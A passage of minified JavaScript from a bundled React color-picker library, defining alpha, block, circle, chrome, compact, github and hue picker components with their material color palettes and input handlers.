r=lW(e,e.h||t.state.oldHue);t.props.onSwatchHover&&t.props.onSwatchHover(r,n)}},t.state=fW({},lW(e.color,0)),t.debounce=JG((function(e,t,n){e(t,n)}),100),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,t),dW(n,[{key:"render",value:function(){var t={};return this.props.onSwatchHover&&(t.onSwatchHover=this.handleSwatchHover),s.a.createElement(e,fW({},this.props,this.state,{onChange:this.handleChange},t))}}],[{key:"getDerivedStateFromProps",value:function(e,t){return fW({},lW(e.color,t.oldHue))}}]),n}(l.PureComponent||l.Component);return t.propTypes=fW({},e.propTypes),t.defaultProps=fW({},e.defaultProps,{color:{h:250,s:.5,l:.2,a:1}}),t},hW=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},mW=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();function gW(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function vW(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function yW(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}var bW=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},wW=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"span";return function(n){function r(){var e,t,n;gW(this,r);for(var o=arguments.length,i=Array(o),a=0;a<o;a++)i[a]=arguments[a];return t=n=vW(this,(e=r.__proto__||Object.getPrototypeOf(r)).call.apply(e,[this].concat(i))),n.state={focus:!1},n.handleFocus=function(){return n.setState({focus:!0})},n.handleBlur=function(){return n.setState({focus:!1})},vW(n,t)}return yW(r,n),mW(r,[{key:"render",value:function(){return s.a.createElement(t,{onFocus:this.handleFocus,onBlur:this.handleBlur},s.a.createElement(e,hW({},this.props,this.state)))}}]),r}(s.a.Component)}((function(e){var t=e.color,n=e.style,r=e.onClick,o=void 0===r?function(){}:r,i=e.onHover,a=e.title,l=void 0===a?t:a,u=e.children,c=e.focus,f=e.focusStyle,d=void 0===f?{}:f,p="transparent"===t,h=wU()({default:{swatch:bW({background:t,height:"100%",width:"100%",cursor:"pointer",position:"relative",outline:"none"},n,c?d:{})}}),m={};return i&&(m.onMouseOver=function(e){return i(t,e)}),s.a.createElement("div",bW({style:h.swatch,onClick:function(e){return o(t,e)},title:l,tabIndex:0,onKeyDown:function(e){return 13===e.keyCode&&o(t,e)}},m),u,p&&s.a.createElement(AU,{borderRadius:h.swatch.borderRadius,boxShadow:"inset 0 0 0 1px rgba(0,0,0,0.1)"}))})),EW=function(e){var t=e.direction,n=wU()({default:{picker:{width:"18px",height:"18px",borderRadius:"50%",transform:"translate(-9px, -1px)",backgroundColor:"rgb(248, 248, 248)",boxShadow:"0 1px 4px 0 rgba(0, 0, 0, 0.37)"}},vertical:{picker:{transform:"translate(-3px, -9px)"}}},{vertical:"vertical"===t});return s.a.createElement("div",{style:n.picker})},SW=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},CW=function(e){var t=e.rgb,n=e.hsl,r=e.width,o=e.height,i=e.onChange,a=e.direction,l=e.style,u=e.renderers,c=e.pointer,f=e.className,d=void 0===f?"":f,p=wU()({default:{picker:{position:"relative",width:r,height:o},alpha:{radius:"2px",style:l}}});return s.a.createElement("div",{style:p.picker,className:"alpha-picker "+d},s.a.createElement(MU,SW({},p.alpha,{rgb:t,hsl:n,pointer:c,renderers:u,onChange:i,direction:a})))};CW.defaultProps={width:"316px",height:"16px",direction:"horizontal",pointer:EW};pW(CW);var xW=function(e,t){for(var n=-1,r=null==e?0:e.length,o=Array(r);++n<r;)o[n]=t(e[n],n,e);return o},OW=function(e){var t=e.colors,n=e.onClick,r=e.onSwatchHover,o=wU()({default:{swatches:{marginRight:"-10px"},swatch:{width:"22px",height:"22px",float:"left",marginRight:"10px",marginBottom:"10px",borderRadius:"4px"},clear:{clear:"both"}}});return s.a.createElement("div",{style:o.swatches},xW(t,(function(e){return s.a.createElement(wW,{key:e,color:e,style:o.swatch,onClick:n,onHover:r,focusStyle:{boxShadow:"0 0 4px "+e}})})),s.a.createElement("div",{style:o.clear}))},AW=function(e){var t=e.onChange,n=e.onSwatchHover,r=e.hex,o=e.colors,i=e.width,a=e.triangle,l=e.styles,u=void 0===l?{}:l,c=e.className,f=void 0===c?"":c,d="transparent"===r,p=function(e,n){sW(e)&&t({hex:e,source:"hex"},n)},h=wU()(qG({default:{card:{width:i,background:"#fff",boxShadow:"0 1px rgba(0,0,0,.1)",borderRadius:"6px",position:"relative"},head:{height:"110px",background:r,borderRadius:"6px 6px 0 0",display:"flex",alignItems:"center",justifyContent:"center",position:"relative"},body:{padding:"10px"},label:{fontSize:"18px",color:uW(r),position:"relative"},triangle:{width:"0px",height:"0px",borderStyle:"solid",borderWidth:"0 10px 10px 10px",borderColor:"transparent transparent "+r+" transparent",position:"absolute",top:"-10px",left:"50%",marginLeft:"-10px"},input:{width:"100%",fontSize:"12px",color:"#666",border:"0px",outline:"none",height:"22px",boxShadow:"inset 0 0 0 1px #ddd",borderRadius:"4px",padding:"0 7px",boxSizing:"border-box"}},"hide-triangle":{triangle:{display:"none"}}},u),{"hide-triangle":"hide"===a});return s.a.createElement("div",{style:h.card,className:"block-picker "+f},s.a.createElement("div",{style:h.triangle}),s.a.createElement("div",{style:h.head},d&&s.a.createElement(AU,{borderRadius:"6px 6px 0 0"}),s.a.createElement("div",{style:h.label},r)),s.a.createElement("div",{style:h.body},s.a.createElement(OW,{colors:o,onClick:p,onSwatchHover:n}),s.a.createElement(IU,{style:{input:h.input},value:r,onChange:p})))};AW.propTypes={width:Is.a.oneOfType([Is.a.string,Is.a.number]),colors:Is.a.arrayOf(Is.a.string),triangle:Is.a.oneOf(["top","hide"]),styles:Is.a.object},AW.defaultProps={width:170,colors:["#D9E3F0","#F47373","#697689","#37D67A","#2CCCE4","#555555","#dce775","#ff8a65","#ba68c8"],triangle:"top",styles:{}};pW(AW);var _W={50:"#ffebee",100:"#ffcdd2",200:"#ef9a9a",300:"#e57373",400:"#ef5350",500:"#f44336",600:"#e53935",700:"#d32f2f",800:"#c62828",900:"#b71c1c",a100:"#ff8a80",a200:"#ff5252",a400:"#ff1744",a700:"#d50000"},TW={50:"#fce4ec",100:"#f8bbd0",200:"#f48fb1",300:"#f06292",400:"#ec407a",500:"#e91e63",600:"#d81b60",700:"#c2185b",800:"#ad1457",900:"#880e4f",a100:"#ff80ab",a200:"#ff4081",a400:"#f50057",a700:"#c51162"},kW={50:"#f3e5f5",100:"#e1bee7",200:"#ce93d8",300:"#ba68c8",400:"#ab47bc",500:"#9c27b0",600:"#8e24aa",700:"#7b1fa2",800:"#6a1b9a",900:"#4a148c",a100:"#ea80fc",a200:"#e040fb",a400:"#d500f9",a700:"#aa00ff"},PW={50:"#ede7f6",100:"#d1c4e9",200:"#b39ddb",300:"#9575cd",400:"#7e57c2",500:"#673ab7",600:"#5e35b1",700:"#512da8",800:"#4527a0",900:"#311b92",a100:"#b388ff",a200:"#7c4dff",a400:"#651fff",a700:"#6200ea"},MW={50:"#e8eaf6",100:"#c5cae9",200:"#9fa8da",300:"#7986cb",400:"#5c6bc0",500:"#3f51b5",600:"#3949ab",700:"#303f9f",800:"#283593",900:"#1a237e",a100:"#8c9eff",a200:"#536dfe",a400:"#3d5afe",a700:"#304ffe"},RW={50:"#e3f2fd",100:"#bbdefb",200:"#90caf9",300:"#64b5f6",400:"#42a5f5",500:"#2196f3",600:"#1e88e5",700:"#1976d2",800:"#1565c0",900:"#0d47a1",a100:"#82b1ff",a200:"#448aff",a400:"#2979ff",a700:"#2962ff"},jW={50:"#e1f5fe",100:"#b3e5fc",200:"#81d4fa",300:"#4fc3f7",400:"#29b6f6",500:"#03a9f4",600:"#039be5",700:"#0288d1",800:"#0277bd",900:"#01579b",a100:"#80d8ff",a200:"#40c4ff",a400:"#00b0ff",a700:"#0091ea"},LW={50:"#e0f7fa",100:"#b2ebf2",200:"#80deea",300:"#4dd0e1",400:"#26c6da",500:"#00bcd4",600:"#00acc1",700:"#0097a7",800:"#00838f",900:"#006064",a100:"#84ffff",a200:"#18ffff",a400:"#00e5ff",a700:"#00b8d4"},IW={50:"#e0f2f1",100:"#b2dfdb",200:"#80cbc4",300:"#4db6ac",400:"#26a69a",500:"#009688",600:"#00897b",700:"#00796b",800:"#00695c",900:"#004d40",a100:"#a7ffeb",a200:"#64ffda",a400:"#1de9b6",a700:"#00bfa5"},NW={50:"#e8f5e9",100:"#c8e6c9",200:"#a5d6a7",300:"#81c784",400:"#66bb6a",500:"#4caf50",600:"#43a047",700:"#388e3c",800:"#2e7d32",900:"#1b5e20",a100:"#b9f6ca",a200:"#69f0ae",a400:"#00e676",a700:"#00c853"},DW={50:"#f1f8e9",100:"#dcedc8",200:"#c5e1a5",300:"#aed581",400:"#9ccc65",500:"#8bc34a",600:"#7cb342",700:"#689f38",800:"#558b2f",900:"#33691e",a100:"#ccff90",a200:"#b2ff59",a400:"#76ff03",a700:"#64dd17"},FW={50:"#f9fbe7",100:"#f0f4c3",200:"#e6ee9c",300:"#dce775",400:"#d4e157",500:"#cddc39",600:"#c0ca33",700:"#afb42b",800:"#9e9d24",900:"#827717",a100:"#f4ff81",a200:"#eeff41",a400:"#c6ff00",a700:"#aeea00"},BW={50:"#fffde7",100:"#fff9c4",200:"#fff59d",300:"#fff176",400:"#ffee58",500:"#ffeb3b",600:"#fdd835",700:"#fbc02d",800:"#f9a825",900:"#f57f17",a100:"#ffff8d",a200:"#ffff00",a400:"#ffea00",a700:"#ffd600"},HW={50:"#fff8e1",100:"#ffecb3",200:"#ffe082",300:"#ffd54f",400:"#ffca28",500:"#ffc107",600:"#ffb300",700:"#ffa000",800:"#ff8f00",900:"#ff6f00",a100:"#ffe57f",a200:"#ffd740",a400:"#ffc400",a700:"#ffab00"},VW={50:"#fff3e0",100:"#ffe0b2",200:"#ffcc80",300:"#ffb74d",400:"#ffa726",500:"#ff9800",600:"#fb8c00",700:"#f57c00",800:"#ef6c00",900:"#e65100",a100:"#ffd180",a200:"#ffab40",a400:"#ff9100",a700:"#ff6d00"},zW={50:"#fbe9e7",100:"#ffccbc",200:"#ffab91",300:"#ff8a65",400:"#ff7043",500:"#ff5722",600:"#f4511e",700:"#e64a19",800:"#d84315",900:"#bf360c",a100:"#ff9e80",a200:"#ff6e40",a400:"#ff3d00",a700:"#dd2c00"},UW={50:"#efebe9",100:"#d7ccc8",200:"#bcaaa4",300:"#a1887f",400:"#8d6e63",500:"#795548",600:"#6d4c41",700:"#5d4037",800:"#4e342e",900:"#3e2723"},GW={50:"#eceff1",100:"#cfd8dc",200:"#b0bec5",300:"#90a4ae",400:"#78909c",500:"#607d8b",600:"#546e7a",700:"#455a64",800:"#37474f",900:"#263238"},WW=function(e){var t=e.color,n=e.onClick,r=e.onSwatchHover,o=e.hover,i=e.active,a=e.circleSize,l=e.circleSpacing,u=wU()({default:{swatch:{width:a,height:a,marginRight:l,marginBottom:l,transform:"scale(1)",transition:"100ms transform ease"},Swatch:{borderRadius:"50%",background:"transparent",boxShadow:"inset 0 0 0 "+(a/2+1)+"px "+t,transition:"100ms box-shadow ease"}},hover:{swatch:{transform:"scale(1.2)"}},active:{Swatch:{boxShadow:"inset 0 0 0 3px "+t}}},{hover:o,active:i});return s.a.createElement("div",{style:u.swatch},s.a.createElement(wW,{style:u.Swatch,color:t,onClick:n,onHover:r,focusStyle:{boxShadow:u.Swatch.boxShadow+", 0 0 5px "+t}}))};WW.defaultProps={circleSize:28,circleSpacing:14};var qW=Object(bU.handleHover)(WW),ZW=function(e){var t=e.width,n=e.onChange,r=e.onSwatchHover,o=e.colors,i=e.hex,a=e.circleSize,l=e.styles,u=void 0===l?{}:l,c=e.circleSpacing,f=e.className,d=void 0===f?"":f,p=wU()(qG({default:{card:{width:t,display:"flex",flexWrap:"wrap",marginRight:-c,marginBottom:-c}}},u)),h=function(e,t){return n({hex:e,source:"hex"},t)};return s.a.createElement("div",{style:p.card,className:"circle-picker "+d},xW(o,(function(e){return s.a.createElement(qW,{key:e,color:e,onClick:h,onSwatchHover:r,active:i===e.toLowerCase(),circleSize:a,circleSpacing:c})})))};ZW.propTypes={width:Is.a.oneOfType([Is.a.string,Is.a.number]),circleSize:Is.a.number,circleSpacing:Is.a.number,styles:Is.a.object},ZW.defaultProps={width:252,circleSize:28,circleSpacing:14,colors:[_W[500],TW[500],kW[500],PW[500],MW[500],RW[500],jW[500],LW[500],IW[500],NW[500],DW[500],FW[500],BW[500],HW[500],VW[500],zW[500],UW[500],GW[500]],styles:{}};pW(ZW);var YW=function(e){return void 0===e},$W=n(320),KW=n.n($W),XW=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();var QW=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return n.toggleViews=function(){"hex"===n.state.view?n.setState({view:"rgb"}):"rgb"===n.state.view?n.setState({view:"hsl"}):"hsl"===n.state.view&&(1===n.props.hsl.a?n.setState({view:"hex"}):n.setState({view:"rgb"}))},n.handleChange=function(e,t){e.hex?sW(e.hex)&&n.props.onChange({hex:e.hex,source:"hex"},t):e.r||e.g||e.b?n.props.onChange({r:e.r||n.props.rgb.r,g:e.g||n.props.rgb.g,b:e.b||n.props.rgb.b,source:"rgb"},t):e.a?(e.a<0?e.a=0:e.a>1&&(e.a=1),n.props.onChange({h:n.props.hsl.h,s:n.props.hsl.s,l:n.props.hsl.l,a:Math.round(100*e.a)/100,source:"rgb"},t)):(e.h||e.s||e.l)&&("string"==typeof e.s&&e.s.includes("%")&&(e.s=e.s.replace("%","")),"string"==typeof e.l&&e.l.includes("%")&&(e.l=e.l.replace("%","")),1==e.s?e.s=.01:1==e.l&&(e.l=.01),n.props.onChange({h:e.h||n.props.hsl.h,s:Number(YW(e.s)?n.props.hsl.s:e.s),l:Number(YW(e.l)?n.props.hsl.l:e.l),source:"hsl"},t))},n.showHighlight=function(e){e.currentTarget.style.background="#eee"},n.hideHighlight=function(e){e.currentTarget.style.background="transparent"},1!==e.hsl.a&&"hex"===e.view?n.state={view:"rgb"}:n.state={view:e.view},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),XW(t,[{key:"render",value:function(){var e=this,t=wU()({default:{wrap:{paddingTop:"16px",display:"flex"},fields:{flex:"1",display:"flex",marginLeft:"-6px"},field:{paddingLeft:"6px",width:"100%"},alpha:{paddingLeft:"6px",width:"100%"},toggle:{width:"32px",textAlign:"right",position:"relative"},icon:{marginRight:"-4px",marginTop:"12px",cursor:"pointer",position:"relative"},iconHighlight:{position:"absolute",width:"24px",height:"28px",background:"#eee",borderRadius:"4px",top:"10px",left:"12px",display:"none"},input:{fontSize:"11px",color:"#333",width:"100%",borderRadius:"2px",border:"none",boxShadow:"inset 0 0 0 1px #dadada",height:"21px",textAlign:"center"},label:{textTransform:"uppercase",fontSize:"11px",lineHeight:"11px",color:"#969696",textAlign:"center",display:"block",marginTop:"12px"},svg:{fill:"#333",width:"24px",height:"24px",border:"1px transparent solid",borderRadius:"5px"}},disableAlpha:{alpha:{display:"none"}}},this.props,this.state),n=void 0;return"hex"===this.state.view?n=s.a.createElement("div",{style:t.fields,className:"flexbox-fix"},s.a.createElement("div",{style:t.field},s.a.createElement(IU,{style:{input:t.input,label:t.label},label:"hex",value:this.props.hex,onChange:this.handleChange}))):"rgb"===this.state.view?n=s.a.createElement("div",{style:t.fields,className:"flexbox-fix"},s.a.createElement("div",{style:t.field},s.a.createElement(IU,{style:{input:t.input,label:t.label},label:"r",value:this.props.rgb.r,onChange:this.handleChange})),s.a.createElement("div",{style:t.field},s.a.createElement(IU,{style:{input:t.input,label:t.label},label:"g",value:this.props.rgb.g,onChange:this.handleChange})),s.a.createElement("div",{style:t.field},s.a.createElement(IU,{style:{input:t.input,label:t.label},label:"b",value:this.props.rgb.b,onChange:this.handleChange})),s.a.createElement("div",{style:t.alpha},s.a.createElement(IU,{style:{input:t.input,label:t.label},label:"a",value:this.props.rgb.a,arrowOffset:.01,onChange:this.handleChange}))):"hsl"===this.state.view&&(n=s.a.createElement("div",{style:t.fields,className:"flexbox-fix"},s.a.createElement("div",{style:t.field},s.a.createElement(IU,{style:{input:t.input,label:t.label},label:"h",value:Math.round(this.props.hsl.h),onChange:this.handleChange})),s.a.createElement("div",{style:t.field},s.a.createElement(IU,{style:{input:t.input,label:t.label},label:"s",value:Math.round(100*this.props.hsl.s)+"%",onChange:this.handleChange})),s.a.createElement("div",{style:t.field},s.a.createElement(IU,{style:{input:t.input,label:t.label},label:"l",value:Math.round(100*this.props.hsl.l)+"%",onChange:this.handleChange})),s.a.createElement("div",{style:t.alpha},s.a.createElement(IU,{style:{input:t.input,label:t.label},label:"a",value:this.props.hsl.a,arrowOffset:.01,onChange:this.handleChange})))),s.a.createElement("div",{style:t.wrap,className:"flexbox-fix"},n,s.a.createElement("div",{style:t.toggle},s.a.createElement("div",{style:t.icon,onClick:this.toggleViews,ref:function(t){return e.icon=t}},s.a.createElement(KW.a,{style:t.svg,onMouseOver:this.showHighlight,onMouseEnter:this.showHighlight,onMouseOut:this.hideHighlight}))))}}],[{key:"getDerivedStateFromProps",value:function(e,t){return 1!==e.hsl.a&&"hex"===t.view?{view:"rgb"}:null}}]),t}(s.a.Component);QW.defaultProps={view:"hex"};var JW=QW,eq=function(){var e=wU()({default:{picker:{width:"12px",height:"12px",borderRadius:"6px",transform:"translate(-6px, -1px)",backgroundColor:"rgb(248, 248, 248)",boxShadow:"0 1px 4px 0 rgba(0, 0, 0, 0.37)"}}});return s.a.createElement("div",{style:e.picker})},tq=function(){var e=wU()({default:{picker:{width:"12px",height:"12px",borderRadius:"6px",boxShadow:"inset 0 0 0 1px #fff",transform:"translate(-6px, -6px)"}}});return s.a.createElement("div",{style:e.picker})},nq=function(e){var t=e.width,n=e.onChange,r=e.disableAlpha,o=e.rgb,i=e.hsl,a=e.hsv,l=e.hex,u=e.renderers,c=e.styles,f=void 0===c?{}:c,d=e.className,p=void 0===d?"":d,h=e.defaultView,m=wU()(qG({default:{picker:{width:t,background:"#fff",borderRadius:"2px",boxShadow:"0 0 2px rgba(0,0,0,.3), 0 4px 8px rgba(0,0,0,.3)",boxSizing:"initial",fontFamily:"Menlo"},saturation:{width:"100%",paddingBottom:"55%",position:"relative",borderRadius:"2px 2px 0 0",overflow:"hidden"},Saturation:{radius:"2px 2px 0 0"},body:{padding:"16px 16px 12px"},controls:{display:"flex"},color:{width:"32px"},swatch:{marginTop:"6px",width:"16px",height:"16px",borderRadius:"8px",position:"relative",overflow:"hidden"},active:{absolute:"0px 0px 0px 0px",borderRadius:"8px",boxShadow:"inset 0 0 0 1px rgba(0,0,0,.1)",background:"rgba("+o.r+", "+o.g+", "+o.b+", "+o.a+")",zIndex:"2"},toggles:{flex:"1"},hue:{height:"10px",position:"relative",marginBottom:"8px"},Hue:{radius:"2px"},alpha:{height:"10px",position:"relative"},Alpha:{radius:"2px"}},disableAlpha:{color:{width:"22px"},alpha:{display:"none"},hue:{marginBottom:"0px"},swatch:{width:"10px",height:"10px",marginTop:"0px"}}},f),{disableAlpha:r});return s.a.createElement("div",{style:m.picker,className:"chrome-picker "+p},s.a.createElement("div",{style:m.saturation},s.a.createElement(nW,{style:m.Saturation,hsl:i,hsv:a,pointer:tq,onChange:n})),s.a.createElement("div",{style:m.body},s.a.createElement("div",{style:m.controls,className:"flexbox-fix"},s.a.createElement("div",{style:m.color},s.a.createElement("div",{style:m.swatch},s.a.createElement("div",{style:m.active}),s.a.createElement(AU,{renderers:u}))),s.a.createElement("div",{style:m.toggles},s.a.createElement("div",{style:m.hue},s.a.createElement(HU,{style:m.Hue,hsl:i,pointer:eq,onChange:n})),s.a.createElement("div",{style:m.alpha},s.a.createElement(MU,{style:m.Alpha,rgb:o,hsl:i,pointer:eq,renderers:u,onChange:n})))),s.a.createElement(JW,{rgb:o,hsl:i,hex:l,view:h,onChange:n,disableAlpha:r})))};nq.propTypes={width:Is.a.oneOfType([Is.a.string,Is.a.number]),disableAlpha:Is.a.bool,styles:Is.a.object,defaultView:Is.a.oneOf(["hex","rgb","hsl"])},nq.defaultProps={width:225,disableAlpha:!1,styles:{}};pW(nq);var rq=function(e){var t=e.color,n=e.onClick,r=void 0===n?function(){}:n,o=e.onSwatchHover,i=e.active,a=wU()({default:{color:{background:t,width:"15px",height:"15px",float:"left",marginRight:"5px",marginBottom:"5px",position:"relative",cursor:"pointer"},dot:{absolute:"5px 5px 5px 5px",background:uW(t),borderRadius:"50%",opacity:"0"}},active:{dot:{opacity:"1"}},"color-#FFFFFF":{color:{boxShadow:"inset 0 0 0 1px #ddd"},dot:{background:"#000"}},transparent:{dot:{background:"#000"}}},{active:i,"color-#FFFFFF":"#FFFFFF"===t,transparent:"transparent"===t});return s.a.createElement(wW,{style:a.color,color:t,onClick:r,onHover:o,focusStyle:{boxShadow:"0 0 4px "+t}},s.a.createElement("div",{style:a.dot}))},oq=function(e){var t=e.hex,n=e.rgb,r=e.onChange,o=wU()({default:{fields:{display:"flex",paddingBottom:"6px",paddingRight:"5px",position:"relative"},active:{position:"absolute",top:"6px",left:"5px",height:"9px",width:"9px",background:t},HEXwrap:{flex:"6",position:"relative"},HEXinput:{width:"80%",padding:"0px",paddingLeft:"20%",border:"none",outline:"none",background:"none",fontSize:"12px",color:"#333",height:"16px"},HEXlabel:{display:"none"},RGBwrap:{flex:"3",position:"relative"},RGBinput:{width:"70%",padding:"0px",paddingLeft:"30%",border:"none",outline:"none",background:"none",fontSize:"12px",color:"#333",height:"16px"},RGBlabel:{position:"absolute",top:"3px",left:"0px",lineHeight:"16px",textTransform:"uppercase",fontSize:"12px",color:"#999"}}}),i=function(e,t){e.r||e.g||e.b?r({r:e.r||n.r,g:e.g||n.g,b:e.b||n.b,source:"rgb"},t):r({hex:e.hex,source:"hex"},t)};return s.a.createElement("div",{style:o.fields,className:"flexbox-fix"},s.a.createElement("div",{style:o.active}),s.a.createElement(IU,{style:{wrap:o.HEXwrap,input:o.HEXinput,label:o.HEXlabel},label:"hex",value:t,onChange:i}),s.a.createElement(IU,{style:{wrap:o.RGBwrap,input:o.RGBinput,label:o.RGBlabel},label:"r",value:n.r,onChange:i}),s.a.createElement(IU,{style:{wrap:o.RGBwrap,input:o.RGBinput,label:o.RGBlabel},label:"g",value:n.g,onChange:i}),s.a.createElement(IU,{style:{wrap:o.RGBwrap,input:o.RGBinput,label:o.RGBlabel},label:"b",value:n.b,onChange:i}))},iq=function(e){var t=e.onChange,n=e.onSwatchHover,r=e.colors,o=e.hex,i=e.rgb,a=e.styles,l=void 0===a?{}:a,u=e.className,c=void 0===u?"":u,f=wU()(qG({default:{Compact:{background:"#f6f6f6",radius:"4px"},compact:{paddingTop:"5px",paddingLeft:"5px",boxSizing:"initial",width:"240px"},clear:{clear:"both"}}},l)),d=function(e,n){e.hex?sW(e.hex)&&t({hex:e.hex,source:"hex"},n):t(e,n)};return s.a.createElement(YG,{style:f.Compact,styles:l},s.a.createElement("div",{style:f.compact,className:"compact-picker "+c},s.a.createElement("div",null,xW(r,(function(e){return s.a.createElement(rq,{key:e,color:e,active:e.toLowerCase()===o,onClick:d,onSwatchHover:n})})),s.a.createElement("div",{style:f.clear})),s.a.createElement(oq,{hex:o,rgb:i,onChange:d})))};iq.propTypes={colors:Is.a.arrayOf(Is.a.string),styles:Is.a.object},iq.defaultProps={colors:["#4D4D4D","#999999","#FFFFFF","#F44E3B","#FE9200","#FCDC00","#DBDF00","#A4DD00","#68CCCA","#73D8FF","#AEA1FF","#FDA1FF","#333333","#808080","#cccccc","#D33115","#E27300","#FCC400","#B0BC00","#68BC00","#16A5A5","#009CE0","#7B64FF","#FA28FF","#000000","#666666","#B3B3B3","#9F0500","#C45100","#FB9E00","#808900","#194D33","#0C797D","#0062B1","#653294","#AB149E"],styles:{}};pW(iq);var aq=Object(bU.handleHover)((function(e){var t=e.hover,n=e.color,r=e.onClick,o=e.onSwatchHover,i={position:"relative",zIndex:"2",outline:"2px solid #fff",boxShadow:"0 0 5px 2px rgba(0,0,0,0.25)"},a=wU()({default:{swatch:{width:"25px",height:"25px",fontSize:"0"}},hover:{swatch:i}},{hover:t});return s.a.createElement("div",{style:a.swatch},s.a.createElement(wW,{color:n,onClick:r,onHover:o,focusStyle:i}))})),lq=function(e){var t=e.width,n=e.colors,r=e.onChange,o=e.onSwatchHover,i=e.triangle,a=e.styles,l=void 0===a?{}:a,u=e.className,c=void 0===u?"":u,f=wU()(qG({default:{card:{width:t,background:"#fff",border:"1px solid rgba(0,0,0,0.2)",boxShadow:"0 3px 12px rgba(0,0,0,0.15)",borderRadius:"4px",position:"relative",padding:"5px",display:"flex",flexWrap:"wrap"},triangle:{position:"absolute",border:"7px solid transparent",borderBottomColor:"#fff"},triangleShadow:{position:"absolute",border:"8px solid transparent",borderBottomColor:"rgba(0,0,0,0.15)"}},"hide-triangle":{triangle:{display:"none"},triangleShadow:{display:"none"}},"top-left-triangle":{triangle:{top:"-14px",left:"10px"},triangleShadow:{top:"-16px",left:"9px"}},"top-right-triangle":{triangle:{top:"-14px",right:"10px"},triangleShadow:{top:"-16px",right:"9px"}},"bottom-left-triangle":{triangle:{top:"35px",left:"10px",transform:"rotate(180deg)"},triangleShadow:{top:"37px",left:"9px",transform:"rotate(180deg)"}},"bottom-right-triangle":{triangle:{top:"35px",right:"10px",transform:"rotate(180deg)"},triangleShadow:{top:"37px",right:"9px",transform:"rotate(180deg)"}}},l),{"hide-triangle":"hide"===i,"top-left-triangle":"top-left"===i,"top-right-triangle":"top-right"===i,"bottom-left-triangle":"bottom-left"===i,"bottom-right-triangle":"bottom-right"===i}),d=function(e,t){return r({hex:e,source:"hex"},t)};return s.a.createElement("div",{style:f.card,className:"github-picker "+c},s.a.createElement("div",{style:f.triangleShadow}),s.a.createElement("div",{style:f.triangle}),xW(n,(function(e){return s.a.createElement(aq,{color:e,key:e,onClick:d,onSwatchHover:o})})))};lq.propTypes={width:Is.a.oneOfType([Is.a.string,Is.a.number]),colors:Is.a.arrayOf(Is.a.string),triangle:Is.a.oneOf(["hide","top-left","top-right","bottom-left","bottom-right"]),styles:Is.a.object},lq.defaultProps={width:200,colors:["#B80000","#DB3E00","#FCCB00","#008B02","#006B76","#1273DE","#004DCF","#5300EB","#EB9694","#FAD0C3","#FEF3BD","#C1E1C5","#BEDADC","#C4DEF6","#BED3F3","#D4C4FB"],triangle:"top-left",styles:{}};pW(lq);var sq=function(e){var t=e.direction,n=wU()({default:{picker:{width:"18px",height:"18px",borderRadius:"50%",transform:"translate(-9px, -1px)",backgroundColor:"rgb(248, 248, 248)",boxShadow:"0 1px 4px 0 rgba(0, 0, 0, 0.37)"}},vertical:{picker:{transform:"translate(-3px, -9px)"}}},{vertical:"vertical"===t});return s.a.createElement("div",{style:n.picker})},uq=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},cq=function(e){var t=e.width,n=e.height,r=e.onChange,o=e.hsl,i=e.direction,a=e.pointer,l=e.styles,u=void 0===l?{}:l,c=e.className,f=void 0===c?"":c,d=wU()(qG({default:{picker:{position:"relative",width:t,height:n},hue:{radius:"2px"}}},u));return s.a.createElement("div",{style:d.picker,className:"hue-picker "+f},s.a.createElement(HU,uq({},d.hue,{hsl:o,pointer:a,onChange:function(e){return r({a:1,h:e.h,l:.5,s:1})},direction:i})))};cq.propTypes={styles:Is.a.object},cq.defaultProps={width:"316px",height:"16px",direction:"horizontal",pointer:sq,styles:{}};pW(cq),pW((function(e){var t=e.onChange,n=e.hex,r=e.rgb,o=e.styles,i=void 0===o?{}:o,a=e.className,l=void 0===a?"":a,u=wU()(qG({default:{material:{width:"98px",height:"98px",padding:"16px",fontFamily:"Roboto"},HEXwrap:{position:"relative"},HEXinput:{width:"100%",marginTop:"12px",fontSize:"15px",color:"#333",padding:"0px",border:"0px",borderBottom:"2px solid 